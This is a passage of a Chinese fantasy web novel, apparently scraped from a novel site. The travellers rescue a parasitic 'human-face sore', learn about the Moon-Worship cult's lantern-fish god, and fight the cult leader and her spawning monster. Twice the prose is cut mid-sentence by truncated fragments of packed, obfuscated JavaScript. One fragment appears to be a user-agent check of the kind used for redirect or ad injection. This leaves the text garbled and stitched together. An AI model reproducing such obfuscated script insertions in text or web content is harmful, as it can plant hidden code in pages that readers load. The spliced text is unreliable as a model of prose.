伏顺打了个寒战,道:“哪有人?” 那人大声道:“别怕,是我,我在这女人身上!” 段星河想起了那些女人身上的痈疮,把尸体翻了过来,用剑挑开了衣裳。就见那女子的胸膛上有个人脸形状的赘肉,那家伙用力努着脸,尽最大的力量左右摇晃,把尸体拱的不住动弹,这才引起了人的注意。 痈疮激动地望着他们,道:“几位大侠,我是活的,救我!” 这痈疮正是刚才在破庙里跟段星河说话的那个家伙。刚才它还幸灾乐祸的,如今他的宿主死了,他又变了一副态度,上赶着来讨好他们了。 段星河淡淡道:“你不是挺喜欢做她们的老公么?” 痈疮刚才嘲弄了他们,十分后悔。他看出这几个年轻人心地不坏,想活下去就只能求他们了。 痈疮道:“我本来是浩荡盟的人,是被她们坑害才变成这样的。求求你们救救我,你们想知道什么我都告诉你们,好不好!” 若不是自己这些兄弟及时赶来,自己恐怕也要变成这个样子,段星河对这家伙生出了一点恻隐之心,他的嘴虽然讨厌,但命也是够惨的。段星河看着那块赘肉,犯难道:“怎么救?” 痈疮道:“你们把我挖出来,别伤着根,然后找个血罐子把我泡在里面就行了。” 他说的轻巧,其他人听了却觉得十分可怖。众人互相看了一眼,没人敢动手。段星河深吸了一口气,过去翻开那女子心口上的缝隙,见里头密密麻麻地藏着好几条粗细不一的触手。他把痈疮用力往外拽了一下,女子死了,触手也松动了,就这么被他慢慢地拉了出来。 他的身体已经萎缩的只有巴掌大小,手脚细的像须子一样,就像一根干瘪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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司空玉不知道发生了什么,觉得有些奇怪。这时候就见伏顺手里捧着个罐子,故意躲着她似的,绕着这边走。司空玉觉得他狗狗祟祟的,道:“什么东西,给我看看。” 伏顺怕吓着了她,捂着罐子口道:“别,没什么好看的。” 司空玉已经看见了里头的东西,浓重的血腥气扑面而来,一汪血里泡着个男人的脸。他长着一张大嘴,脸皱巴巴的,惊恐的视线对上了她的眼睛。 司空玉吓了一跳,往后退了一步,道:“这是什么鬼!” 吓着县主的都该死,六幺不管三七二十一,拔出剑来要砍那罐子。痈疮吓得先尖叫起来:“别杀我,有没有人管啊,救命啊——” 赵大海连忙拦在他们之间,道:“等等,这不是妖怪,这是我们带回来的……那个……你是什么?” 痈疮叫道:“我叫胡大为,是浩荡盟的人。刘正锋是我师父,我不是坏人!” 司空玉定下了心神,又小心翼翼地看了他一眼,实在不能理解世界上怎么有这么吓人的东西。他明明长着一张成年人的脸,身体却像根萝卜一样,手脚更是像须子一样纤细,在黑红色的血液里不住动荡。 她道:“他怎么会这样?” 其他人也不知道是怎么回事,步云邪道:“先回屋吧,坐下喝点水,慢慢说。” 一群人进了屋,各自找地方坐下了,把那个罐子放在了桌子上。司空玉掏出了小本子,目光灼灼地盯着它,感觉今天能记到一些新鲜的异闻。步云邪道:“你到底是怎么回事,跟大家说说吧。” 痈疮憋了一肚子委屈,正想跟人倾诉,道:“我叫胡大为,前阵子跟两个师兄弟一起出来历练。我们在野外遇见了这群女子,她们用邪术把我们擒下了,掳到了拜月教,让我们做她们的丈夫。我大师兄不肯向她们屈服,被那些毒妇囚禁起来了,至今生死不明。我和师弟没有办法,只能先跟她们虚与委蛇,先活下来再找机会逃跑。” 他的身体成了这个样子,就算想跑也跑不了了。步云邪道:“那你是怎么变成这样的?” 痈疮一想起来还觉得害怕,颤声道:“她们逼我吃了一种药,每天服用一颗。我不敢吃,她们就捏开嘴塞进去,我的身体渐渐萎缩起来,使不上力气,最终缩到只有一个婴儿般大小。她们就把我们放在篓子里,像背孩子一样带在身边。不知道的还以为她们是寻常的小媳妇,却不知道她们背着的都是拐来的男人。” 宋胡缨漠然道:“谁让你们跟她走了。这么大的男人在外面,不知道保护自己么?” 痈疮:“……” 司空玉噗嗤一声笑,没想到有一天也能听到女子对男人说这种话。伏顺想起昨天夜里那女子对自己一招手,他的魂儿都没了似的,自己也差一点就变成这个鬼样子。他打圆场道:“那些妖人诡计多端,还会用迷药,咱们就别责怪他了。” 步云邪道:“然后呢?” 痈疮道:“我变的只有一个巴掌这么大,被顺利改造成了人面疮。她们就用触手缠住我,跟我融合在了一起。” 李玉真道:“你师弟呢?” 痈疮有些难过,哑声道:“死了。” 李玉真啊了一声,道:“抱歉,我不是有意的。” 痈疮道:“他的身体没能顺利缩小,没办法跟拜月教的那些妖女融合,就被她们遗弃了。” 李玉真欠身道:“扔到哪去了?” 赵大海轻轻碰了他一下,觉得这种时候求知欲就不用那么强了,反正人肯定已经死了。痈疮却道:“扔到天池里去了,凡是不能顺利融合的男人,放出去也活不成,就被她们扔进天池喂鱼了。那里头有条灯笼鱼,像艘大船似的,一有人喂就浮出来,张开血盆大口把男人们吸进去,吃的连骨头渣都不剩。” 步云邪道:“你见过?” 痈疮道:“我见过。那时候我已经融合在一个妖女身上,她走到哪儿,做什么,我都看得一清二楚。她常让我夸她,我为了活命,就天天拍她马屁。她高兴了就给我点东西吃,不高兴就饿着我。跟她在一起,我天天担惊受怕的,活的生不如死。” 他说着,声音都哽咽了。众人有些同情他,步云邪道:“她们为什么要抓男人跟自己融合在一起?” 痈疮道:“那些妖女修行的方式需要阴阳共济,所以需要供养一个男人吸取阳气,但又不需要太大,就用这种寄生的方式养人面疮。” 众人感到一阵毛骨悚然,不知道被她们祸害的人有多少。魏小雨举起了手,对这些都没有切实的概念,只是道:“灯笼鱼是什么?” 六幺从小跟着师父走南闯北,见过不少稀奇古怪的东西。他伸手沾着茶水在桌子上画了一条地包天的胖鱼,脑袋前头垂着一根须子,道:“就是这种东西,软趴趴的,长得很丑,头上这个须子会发光。它平常趴在海底不动,靠这个光亮吸引小鱼过去,它就张嘴一口吃掉。” 李玉真凑过来看了一眼,依稀记得自己在海边见人捞上来过,感觉长得十分随便。他道:“这东西是不是只有雌的,没有雄的?” 人面疮道:“不是只有雌的,雌鱼是本体,雄的会攀附在雌鱼的身上,身体渐渐萎缩成一团肉,就跟我们这些人面疮一样。所以拜月教的图腾就是灯笼鱼,天池里养着的也是那样的怪物。” 伏顺想起了那女子手里提着灯笼,飘然而至的模样,跟他们说的灯笼鱼引诱猎物上门的情形十分相似。以前他总觉得自己十分聪明,绝不会被这种低级的伎俩欺骗。没想到真的面对诱惑时,自己跟那些没脑子的小鱼小虾也没什么区别。 他有些心有余悸,道:“村子里都丢了好几个男人了,她们怎么还敢来,不怕引起人注意么?” 人面疮道:“她们不光要给自己找老公,还有别的任务。快到满月盛会了,她们要抓外乡人作为人牲献给古神。” 段星河道:“什么古神,是天池里养的那条灯笼鱼么?” 人面疮的声音沉了下去,显得十分神秘,道:“应该不是。我才跟着她们几个月,听她们说古神的力量十分强大,是不可直视的存在。” 段星河觉得有些奇怪,道:“不可直视?” 人面疮道:“对,不可直视、难以名状。它会在满月盛会上出现在云雾之中,收走信徒奉上的祭品,赐予灵力作为回应。凡人不可冒犯古神,据说看见它完整法身的人,都会遭到极其强烈的诅咒,慢慢被侵蚀得体无完肤,生不如死!” 89.拜月教 四 人面疮把那古神描绘的十分神秘,段星河实在想象不出来到底是什么东西,能有这么大能量。 段星河道:“到底是什么东西?” 人面疮一副无辜的模样,道:“我也没见过,见过我也就活不成了。” 段星河觉得也是,想了想又道:“那你接下来打算怎么办?” 人面疮的求生欲还挺顽强,道:“我想活下去。我知道你们都是好人,劳烦你们把我交给浩荡盟的盟主刘正锋,他是我师父,他肯定能救我!” 段星河看着他泡在罐子里皱巴巴的身体,觉得悬。不过他虽然恢复不了原样,只要照顾的好,多活几年总是可以的。 段星河道:“我们刚从凤来城那边过来。浩荡盟的人对我们的态度不太友善,我恐怕没办法跟那边的人搭上线。” 魏小雨还在跟那些人记仇,悻悻道:“就是,浩荡盟的人凶得很,我们不想跟他们说话。” 人面疮现在能指望的只有他们了,道:“我师父他们都是好人,你们之间肯定是有些误会。救人一命胜造七级浮屠,好兄弟,帮我想想办法!” 段星河叹了口气,道:“要不然这样,你先跟我们待一段时间。等到了城里,我就把你交给驿站托运过去,你觉得怎么样?” 除此之外也没有更好的办法了,人面疮犹豫了一下,道:“好吧,那就有劳你们了。” 屋里说着话,听见外头有人道:“有人吗?” 赵大海过去开门,却是村长来了。他手里提着烟杆,探头朝里一望,见人都在,道:“谢天谢地,你们没事。我听说这边有人失踪了,还以为你们这些后生出事了。” 步云邪道:“是出事了,这不刚把人找回来么。” 村长十分诧异,道:“怎么回事?” 他靠着炕边坐下了,伏顺搔了搔头,道:“我半夜出去撒尿,碰见一个女的,她对我招了招手,我就迷迷瞪瞪地跟她走了。等我清醒过来的时候,被她带到了郊外的一间土地庙里。那里还有好几个女人等着她,要我做她们的老公。我抵死不从,我的这些师兄弟就来救我了。” 他要面子,把自己说成了一个全然无辜的正人君子。但大家都知道是怎么回事,也没说破。 村长显得不怎么意外,吐出一口烟道:“你还有人去救,其他人就没这么好的运气了。我们这一村都是老弱病残,就算有几个民兵也没多大本事,救不了那些失踪的小子。唉……年轻人血气方刚,见到女人勾勾手指头就跟着走了,比拍花子的拐小孩都容易。” 听他的意思,早就清楚是怎么回事了。段星河道:“村长知道那些女子?” 村长叹了口气,道:“就是拜月教的人嘛,我一开始没敢说,你们也多体谅吧。官府不管事,这附近就是拜月教的势力最大。你们只不过是路过的,我不想让你们卷进去,所以才让你们晚上别出门。” 他见旁边有个罐子,以为是个痰盂,随手把烟锅往上磕了磕。罐子里的人面疮被磕了一脸烟灰,咳嗽起来,道:“咳咳咳,呛死我了,你干什么!” 村长吓了一跳,定睛一看,却见里头养着个长着人脸的怪物。他下意识站了起来,道:“啊啊……这是人面疮,还活着呢?” 不愧是村长,见多识广,一眼就认出来了。人面疮不满道:“当然活着,咳,快被你呛死了!” 村长定睛看了他片刻,发现这家伙全须全尾的,比起之前自己见过的那些人面疮算是好的了。他道:“这玩意儿都长在那些妖女身上,你们是怎么把它弄来的?” 段星河道:“他让我们把他挖下来的。他的宿主已经死了,不管他他也活不成。” 村长同情地看着人面疮,知道被抓去的那些小后生,最后大多数都变成了这个样子。他叹了口气,道:“色字头上一把刀,真是作孽啊!” 人面疮还挺要面子,道:“我不是色迷心窍,是那帮女人把我和师兄弟强行绑走的。” 伏顺道:“啊对对对,我懂。” 住在这里的人也是可怜,明知道是拜月教那些人作恶,却拿她们没办法,甚至连提也不敢提。段星河看向村长道:“那帮人是怎么回事,能具体说说吗?” 村长抽了一口烟,道:“拜月教的都是夷州部落的人,是最原始的那一批,凶蛮得很。男人以刺青黥面,擅长诅咒;女人养人面疮,到处拐骗男子。最近拜月教又到了满月盛会的时候了,那些女人出现的比平时更加频繁,要抓更多的人去供奉她们的古神。” 魏小雨好奇道:“那些人被抓去会怎么样?” 村长道:“就像牛羊一样呗,当祭品的还能是什么下场。” 他想了一下,又道:“也不是直接杀了,听说她们有一套专门的仪式,叫做登阶。据说上古之神会出现在月亮山谷中,在场的所有人都能够跟神产生连接,神秘的很。” 众人都十分惊讶,一直以来都以为只有修习正法的人才能登阶成仙,修邪法的只会堕魔。段星河道:“邪教的人也能登阶,有什么东西在天上接引他们?” 村长道:“我只听说是这样,修行的事我也不懂。他们的总舵就在前头的月亮山里,一直往北走就到了。” 李玉真从口袋里掏出了羊皮地图,段星河凑过去看了一眼,见北边确实有个山头,上面画着一条鱼的标志,脑袋上带着一根弯弯的须子。先前他们还以为这地方盛产咸鱼,现在才知道那是拜月教的标记。 月亮山离这边不算远,走五六天应该就能到了。段星河转头对罐子道:“胡兄,你见过他们的庆典么?” “没见过,”人面疮道,“我变成这样子也只有几个月。她们每年上元节举行一次满月盛会,不少邪道上的人都会去凑热闹,你们想去看?” 段星河往西去蜀山就是想找那些大宗师请教登阶的事,如今听说邪教也能登阶,确实有些感兴趣。他道:“来都来了,去看看也行。” 村长登时睁大了眼,道:“你们真要去月亮山?我看几位小道长本事高强,又有胆识,能不能把被抓去的人救出来?” 大家也不确定到了那边会遇到什么事。要是真潜进去了,到处都是敌人,他们还是得自保为上。段星河寻思道:“看情况吧,如果有机会的话,我们会尽力的。” 众人在村子里休息了几天,拜月教的人元月十五举行满月盛会。他们收拾了东西,初五清晨驾着大车,缓缓地离开了这里。要到月亮山怎么也得走五六天,他们答应了要把人面疮送到驿站去,半道还得往西边拐个弯,先去最近的镇子上一趟。 段星河盘算着,等到都忙完了,差不多就到正月十五了,应该能赶上拜月教的人登阶。不管他们的成仙是真的假的,去开一开眼界也是好的。 车队在路上走了几天,偶尔遇上有店家就停下来买点食材。这天中午他们路过一个小村子,路边有个小酒家,招子上写着女儿红、高粱,鲜酿醪糟,热气腾腾的散发着饭香。 段星河下车买了点烧鸡酱肉和蒸包,等饭的功夫,他见酒招子旁边的墙上贴着一张告示,还挺新的。他过去一看,顿时懵了,就见上头写着:“浩荡盟通缉令,段星河,二十岁左右,在无双城冲犯南宫家先人遗蜕,重伤家主南宫秀及其门人弟子,罪大恶极。如有捉拿者送往浩荡盟,赏银一千两。提供线索者,赏银五十两。” 告示下面还画着几个头像,一个个长得歪瓜裂枣的,就连伏顺本人都比图上画的正气。六幺走了过来,在旁边看了一阵子,道:“放心吧,不像。” 图上没画六幺,他这是站着说话不腰疼。段星河皱起了眉头,就知道南宫家的人不可能吃这个哑巴亏,一转身就去找浩荡盟的人告状去了。之前自己把魏小雨救出来,就让刘正锋对他印象十分深刻,如今又被下了通缉令,算是在他这里挂上号了。 他觉得有点头疼,事情明明不是这样,最后还是被人人喊打。段星河叹了口气,反正债多了不痒虱子多了不愁,自从出来就没落过一点好,随他们去好了。 老板把烧鸡包好了,递过来的时候特意看了他两眼,又瞥了一眼告示,感觉长得不像,失望地忙活别的去了。 段星河把身后的斗笠拉了起来,扣在了头上,翻身上马道:“走吧。” 往前走了一日路,天色渐晚。众人在路边找了块空地,扎下了帐篷。昨天买的肉很快就吃完了,赵大海支起了锅,开始煮玉米粥。小对眼从大锅边经过,开始停下来挠地,仿佛对这个味道已经受够了。 吃了这么久的玉米粥,玉米的味道从他们的每个毛孔里散发出来,遍布在血液和身体里。不光猫受不了,有时候伏顺都怀疑自己要被玉米夺舍了。 宋胡缨看了一眼她儿子,低声道:“你什么意思,礼貌一点。” 小对眼挠得更起劲了,喉咙里呜呜地叫着,恨不能把整口锅都埋了。赵大海无辜地看着它,道:“吃玉米对眼睛有好处,小孩子不能挑食。” 伏顺坐在火堆边道:“这还没过初十呢,又开始吃玉米粥,能不能给点好的啊?” 赵大海想了想,从另一个口袋里掏出了一把扁豆干扔了进去,算是加上蔬菜了。段星河从林子里回来,手里提着一只褐毛野兔。那兔子的个头挺大,力气也不小,还在不住地蹬腿。 众人见了兔子,顿时睁大了眼睛,都激动起来。刚才一会儿没见段星河,原来他去打猎了。伏顺兴奋道:“大师兄,还是你好,大过年的给我们加菜!” 段星河把兔子递给他,道:“就逮到这一只,你们看怎么分吧。” 有肉吃就很不错了,每个人撕一小块还是够的。罐子里的人面疮大声道:“有新鲜的血吗,给我换点新的,我这一罐子都干巴了。” 伏顺便割断了兔子的脖颈,把血滴进罐子里,道:“兔兄,祝你早登极乐,你的肉身我们就帮你超度了。” 人面疮换了新血,感觉十分舒适,皱巴巴的脸都舒展开了。伏顺一边剥洗兔子,一边摇头晃脑地唱起了超度经文:“一只兔子大又黄,两个耳朵长又长。燎毛剖开了肚皮,取出心肝脾肺肠。今日兔子西归去,开坛做法设道场。孜然面面来开路,辣子一把够不够……” 兔子被火烤的焦黄,香气弥漫开来,油脂滴滴答答地直往下淌。魏小雨咽了一下口水,双手抱着膝盖,眼巴巴地看着肉,不知道等会儿能不能分到一块。 伏顺把兔子烤好了,递给了段星河,道:“哥,你分吧。” 这么多人实在不够分。赵大海甩掉了咸菜上的盐粒子,道:“我吃饼就行了,还有香椿芽,我就爱吃这一口。” 他们行走在外,不太容易买到新鲜的菜蔬。结香用葱花炒了个鸡蛋,还有一锅腊肉炒白菜,从火堆里扒出一个烤好了的大南瓜。忽略掉那锅让人想埋了的玉米粥,他们的伙食其实也还过得去。段星河把兔子的四条腿卸了下来,县主的身份最尊贵,也是他们的头号金主,头一条兔子腿肯定是要给她的。 司空玉道:“我不饿,给宋姐姐吧。” 宋胡缨道:“不用,你吃吧。” 司空玉把一根兔子腿分开来,放在宋胡缨碗里一半。宋胡缨跟她并肩坐着,轻轻一笑,道:“好吧,谢谢。” 段星河把另一条后腿递给了魏小雨。魏小雨高兴道:“大师兄,我就知道你最好了!” 他把另外两条前腿递给了步云邪和李玉真,又把兔头切成两半,分给了等在旁边的两个崽子,墨墨和小对眼专注地啃了起来。段星河和伏顺、六幺撕了点背上的肉干吃,感觉聊胜于无。他本来也不在乎这一口,只要大家都开心就好了。 天气寒冷,吃完饭众人回到帐篷,打算早点休息。段星河白天累了,睡得很沉。墨墨本来在睡觉,忽然感觉到了什么,咻的一下子竖起了耳朵,神色变得警惕起来。 它悄悄地从帐篷里钻出去,拍着翅膀飞了起来,向远处望去。前头有一群人骑着马,黑压压地朝这边来了。那些人穿着黑色的长袍,披头散发的,脸上满是藤蔓状的刺青,几乎把五官都盖住了。 墨墨连忙钻回了帐篷,拿脑袋用力地拱段星河。段星河翻了个身,伸手把它拨开了,道:“别闹。” 墨墨急得不行,只好转头去拱步云邪,嘴里叽叽咕咕地直叫。步云邪被它凉凉的鼻子蹭醒了,道:“怎么了?” 火光照着营地,那群人已经悄然而至,密密麻麻的身影投影在帐篷上,一步步逼近过来。步云邪看见了那些身影,登时一凛,低声道:“星哥,醒醒,有人来了!” 其他帐篷里的人也醒了过来,赵大海先钻出去了。对面站着三十来个黑袍男子,每个人都披头散发的,头上戴着一道赤色的宽抹额,脸上满满的都是刺青,鼻子上像牛一样穿着环,耳朵上也戴着硕大的耳环,把耳垂上的肉坠得又松又长,几乎能垂到肩膀上去。 那些人腰间都佩着弯刀,神色阴沉沉的,显然是来者不善。 伏顺跟着钻出了帐篷,一看对面的阵仗,登时吓了一跳,道:“哎呦,这是干什么来的!” 那群人沉默着向两边分开,一个穿粉色衣裙的女子款款从人群后走出来,容貌娇媚的如同一朵盛放的花一般,却是张夜来。 她提着一盏小小的红灯笼,露出了得意的笑容,道:“又见面了。我说过,还会来找你们的。” 赵大海打了个激灵,意识到这些都是拜月教的人。上次她们人少先跑了,这回是摇到了人,专程来找他们麻烦来了。 段星河不知道自己怎么这么招人恨,正邪两道的人都阴魂不散地跟着自己。他掀开了帐篷,手里提着幽冥剑,大步走了出来。张夜来一见他眼睛便亮了起来,柔声道:“小相公,我来接你了,跟奴家走吧。” 段星河皱眉道:“谁是你相公,放尊重点。” 张夜来哈哈一笑,道:“脾气还是这么又臭又硬的,好得很,看你能嘴硬到几时。” 她轻轻一动,手中的灯笼放出柔和的光芒,气氛也变得旖旎起来。她柔声道:“天这么黑,人家害怕,你们快过来陪陪我。” 赵大海和伏顺感到一阵恍惚,下意识就要照她说的做。段星河的定力极强,神志依旧清明,喝道:“别过去!” 其他人听见了动静,纷纷从帐篷里出来了。步云邪的神色严峻,道:“你们想干什么?” 张夜来一拂衣袖,轻笑道:“我想干什么,你们不知道么——告诉他们。” 一名黑袍巫师用生硬的汉话道:“把女人都杀了,男人通通带走,给我们的姐妹当老公!” 宋胡缨从来没听过这么荒诞的话,道:“你不也是男的么,怎么不给她们当老公?” 那巫师愣头愣脑地道:“你傻啊,她们的老公都是半死不活的人面疮,谁愿变成那样?” 段星河这边的人都笑了,那人自己就傻乎乎的,还觉得别人傻。不知道哪里伸出手拍了那二楞子一巴掌,嫌弃道:“就你聪明,闭嘴!” 段星河道:“我们不会跟你们走的,请回去吧。” 张夜来冷冷道:“你们杀了我一个姐妹,又跟我作对,本教主岂能饶了你们。今天你跟我走也得走,若是非要顽抗,我把这些人都弄死了,你还是要跟我走的。” 眼看情势一触即发,六幺大步从人群后走了过来,跟段星河和宋胡缨站在了一起。这三个人的战力最强,气势逼人。对方虽然人多,有他们三个在便吃不了亏。 赵大海回到帐篷里,扛着他厚实的盾牌冲了出来,哐地一声砸在地上,大声道:“我看你们谁敢乱来!” 伏顺探头出来,道:“我怎么办?” 李玉真道:“去保护你新认的义父吧。” 司空玉怀里抱着小对眼,淡定地站在人群后面。她也会一些修炼之法,修为比李玉真差一点,但比伏顺强得多。她此时也不紧张,摆了摆手道:“不用担心我,没事。” 罐子里传来了一个凄惨的声音,道:“保护我,我有事,别让她们再把我抓走了!” 伏顺回头一看,见人面疮躲在罐子里瑟瑟发抖,它实在是怕惨了这些拜月教的人。伏顺道:“你要是不出声,她们还不知道你在呢。” 人面疮只好闭上了嘴,伏顺抱着罐子。结香待在司空玉身边,道:“县主,我陪着你。” 张夜来冷笑了一声,道:“敬酒不吃吃罚酒,让你们见识见识我拜月教的厉害!” 她说话声中,手中的红灯笼骤然放出万道光芒。随着光芒射出,远方的天空中传来一阵呼啸,像是风声,又像是什么怪物在深深的海底发出的声音。 “呜——” 众人抬头望去,就见云层里飞来了一座红褐色的小岛。那座岛麻麻列列,皱皱巴巴的,侧面带着几个翅膀,顶上还有个硕大的红灯笼,在夜风里不住动荡。 魏小雨张大了嘴,感叹道:“啊……这是不是那条鱼,好大啊!” 那座小岛正是拜月教养的灯笼鱼怪,被张夜来召唤至此。它张开大嘴,露出两排密密麻麻的牙齿,丑陋得简直突破人的想象。人面疮在罐子里也看见了,道:“天池里养的就是这玩意儿,凶得很!” 魏小雨的脑回路十分清奇,别人都害怕,她却忍不住吞了一下口水,道:“它好吃吗?” 六幺道:“灯笼鱼的肉挺嫩的,肝脏尤其好吃。长这么大一坨,够吃一阵子了。” 魏小雨顿时兴奋起来,道:“那快制服它,把它烤来吃!” 李玉真皱起了鼻子,嫌弃道:“不要了吧,这玩意儿吃过好多人呢。” 张夜来有些恼火,道:“你们这帮无知的外乡人,居然敢冒犯我拜月教的图腾,给他们点颜色瞧瞧!” 灯笼鱼张开大嘴,吐出了一片白气。众人顿时感觉一阵头晕目眩,一片白茫茫之中,只见远处有一点红光若隐若现。恍惚间,伏顺仿佛回到了老家前头湾,听见了父亲在屋里的咳嗽声。屋里点起了一盏灯,老父亲穿上了布鞋,扶着门向外走来。厨房里飘来了饭菜的香气,大姐扬声道:“你发什么呆,快去照看着爹,我锅上还做着饭呢!” 伏顺应了一声,下意识就往前走去。罐子里的人面疮急了,大声道:“喂,别往前走了!醒醒,你非要送死也先把我放下呀!” 这时候就见一道火焰横里划过,却是宋胡缨提起斩马/刀一跃而起,砍向半空中的那座肉山。白雾被火光照亮了,那条灯笼鱼正张着大嘴等着伏顺自己走过来。 伏顺被火焰烧的头发都焦了,瞬间清醒过来,惊出了一身冷汗。他一屁股坐在地上,道:“你们这些卑鄙小人,骗人也有点底线啊,干嘛拿我爹蒙我!” 陶罐子被摔破了,人面疮像根萝卜似的躺在地上,道:“救命啊,别踩到我,我招谁惹谁了!” 司空玉觉得有点恶心,但还是两根手指头夹着它,找了两个瓢把它装进去,道:“你别叫了,她们都看见你了。” 人面疮怕的要命,果然不敢出声了。到口的食物逃走了,灯笼鱼十分恼怒,它呜地一声叫,转身把尾巴重重地扫了过来。其他人纷纷躲开了,那鱼怪又喷出了一大口雾气,想要迷惑他们。 李玉真用袖子捂住了脸,喊道:“别吸进去,这东西致幻的!” 魏小雨屏住了呼吸,但还是感觉有些晕乎乎的。她道:“怎么办,我好像看见我爹了……他说要带我去吃好吃的……” 众人也没什么办法,只能尽量稳住心神。那些巫师幸灾乐祸地看着他们,觉得这些外乡人根本不是拜月教的对手。 一名黑袍巫师得意道:“我们张教主看上的男人,还没有得不到的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一大团黄色的东西从空中落了下来,堆在地上就像一座小山。白色的薄膜下面,一个个黄色的圆球有西瓜那么大,正在不住蠕动着。 段星河忽然想起不久之前,魏小雨掉进河沟时就被这种东西黏住了。那座肉山散发着腥味,还带着血丝和热乎气,有种难以名状的瘆人感。众人纷纷向后退去,伏顺皱起了眉头,道:“噫,这是什么东西。” 六幺的神色凝重,道:“这好像是它的卵。” 伏顺诧异道:“这么不挑时候,打着架呢,它就下籽了?” 拜月教凭借色欲修练,崇拜生殖的力量。这灯笼鱼吸收了养分便用来产卵,孵化出大量的妖物,以助长世间邪气。这些妖物年幼是鱼的模样,长大了便化成美丽的女子,诱骗人类回巢,吸收其血肉孵化更多的鱼卵。 张夜来冷笑道:“一帮无知的人,让你们领教我们拜月教的厉害——以我色身供奉上神,万子千孙召来!” 她说话声中,手中凝聚起一道红色的光芒,笼罩在那座肉山上。里面的鱼卵得到了能量的滋养,迅速涨大,蠕动的更激烈了。一个鱼卵噗地一声裂开,从中钻出了一条巴掌大的鱼。它嘴上带着一圈利齿,撕咬着外面的薄膜,很快撕开了一道口子。在它后面,又有十七八条紫黑色的小鱼孵化了出来,飞到了半空中,虎视眈眈地盯着他们。 那些鱼虽然个头不大,每一条都生着又细又长的牙齿,眼睛冒着红光,透着一股不详之感。 伏顺想起了小时候听人说过食人鱼的事。有些鱼生来长着利齿,最喜欢群起而攻之,能把过河的牛马吃的只剩一副骨架。他小声道:“哥……这玩意儿不吃人吧?” 段星河头上渗出了冷汗,道:“我怎么知道,你想试试?” 伏顺立刻道:“我不,我还不想死呢。” 张夜来吹了个呼哨,那些鱼骤然朝他们扑了过来。赵大海吓了一跳,连忙架起了盾。那些鱼的智力参差不齐,有的撞在了盾上,还在甩着尾巴啪啪地弹跳,有的试图咬盾牌一口,结果被崩掉了牙。但更多的鱼绕过了盾牌,直接朝他们的头上、脸上扑了过来。 伏顺的脸被啃了一口,哇地惨叫了一声,把那条鱼扯下来扔在地上,两脚踩死了。又有几条鱼飞过来咬他的小腿,伏顺疼的满地乱蹦,道:“救命,谁来管管这玩意儿!” 六幺提剑斩出去,瞬息之间几道光芒闪过,十来条鱼被他砍成了两半。司空玉被他护在身后,关切道:“小心点,别被咬伤了。” 步云邪手中凝结了一道冰霜,周围的气温降了下来。那些鱼的身体僵硬,攻击人的速度慢了下来。宋胡缨的斩马/刀轰然挥过,将十来条鱼砍得跌落在地。 满地都是冻鱼,有的被砍成两截,有的被踩得稀巴烂。众人稍微松了口气,张夜来却冷笑道:“这就怕了,还有的是呢!” 那条灯笼鱼不知趁乱藏在了什么地方,它酝酿了一阵子,又生了一大坨鱼卵下来。巨大的肉山堆在路上,不断涌动着。众人的脸都青了,这样子子孙孙无穷匮,要打到什么时候? 段星河喊道:“瓜皮,把那个罪魁祸首找出来!” 墨墨从刚才起就在天空中到处打转,不知道那条灯笼鱼躲到了什么地方。它顺着刚落下的那座肉山的轨迹追去,发现一道阴影躲在云彩后面,头上露出了一点微弱的红光。墨墨的眼睛一亮,一拍翅膀,朝那边飞了过去。 地上那座肉山蠕动着,里头孕育的都是妖魔。他们这回有了经验,不能让这些鱼卵再孵化出来了。步云邪使了个眼色,段星河会意地冲上去,一剑朝张夜来砍了过去,把她缠住了。步云邪趁机使出了冰霜咒,众人就见白色的结晶布满了那座肉山,渐渐把它冻住了。 “好了,动手——” 段星河见鱼卵被冻住了,回身一剑砍了过来。哐地一声,冰块被砍得四分五裂,连带着冰霜和里头的血肉一起变得粉碎。 天空中传来一声惨叫,嗷的一声响彻整片山林。众人抬头望去,就见墨墨一口咬住了灯笼鱼的后背,撕咬得它放声惨叫。它拼命挣扎,一只鱼鳍被咬的只剩下半边,头顶的灯笼须子也被扯断了。鱼怪被撕咬的体无完肤,在空中打了几个滚,血淋淋漓漓地洒了下来。 墨墨松了口,鱼怪连忙一摆尾巴窜向远处,逃之夭夭了。 一根硕大的触手从天上掉了下来,啪嗒一声落在众人旁边,是灯笼鱼头顶的那根须子。司空玉用脚碰了碰它,那根触角还没意识到自己已经脱离了本体,在地上痉挛扭动着。没了头上的灯笼,那条鱼也就不成气候了,难怪它要逃跑。 墨墨从天上飞了下来,身体渐渐变回了原来的大小。它鼓着肋骨,呼哧呼哧地喘着气,显然是累坏了。步云邪摸了摸它脑袋,夸赞道:“好孩子,了不起!” 墨墨翘着鼻子,觉得自己保护了大家,十分骄傲。张夜来没想到他们养的小崽子就能把自己的灵兽打成这样,简直是颜面扫地。 段星河扬起了嘴角,道:“张教主,不行就请回吧,别在这儿丢人了。” 张夜来冷冷道:“别着急啊,我们还有真本事没使出来呢。” 她一摆手,道:“满月赐福,众巫听令,咒杀他们——!” 一群黑袍巫师从四面八方围了过来,一张张嘴蠕动着,不住念诵着咒语。他们听不懂那些人在说什么,应该是夷州部落的语言。那声音一开始细微低沉,渐渐地越来越响,就像夏天聒噪的蝉鸣,让人心烦意乱,耳膜都疼痛起来。 伏顺觉得身上好像有许多虫子在爬,又痒又疼,捂着耳朵道:“别念了,好吵啊!” 司空玉的头疼得厉害,与此同时莫名生出了一阵恐惧的感觉,好像有什么阴邪的东西聚合在一起,从半空中俯视着她,让自己的灵魂都为之战栗。 魏小雨身上疼得厉害,浑身的骨头和肌肉都要散架了似的。他们的诅咒充满了负面的力量,每个人感受到的都不一样。有的疼痛、有的恐惧、有的出现了幻觉。魏小雨烦躁地大叫一声,跺脚道:“啊啊——好讨厌呀,像癞蛤蟆一样,唧唧唧呱呱呱。有什么好呱的,闭嘴、闭嘴!” 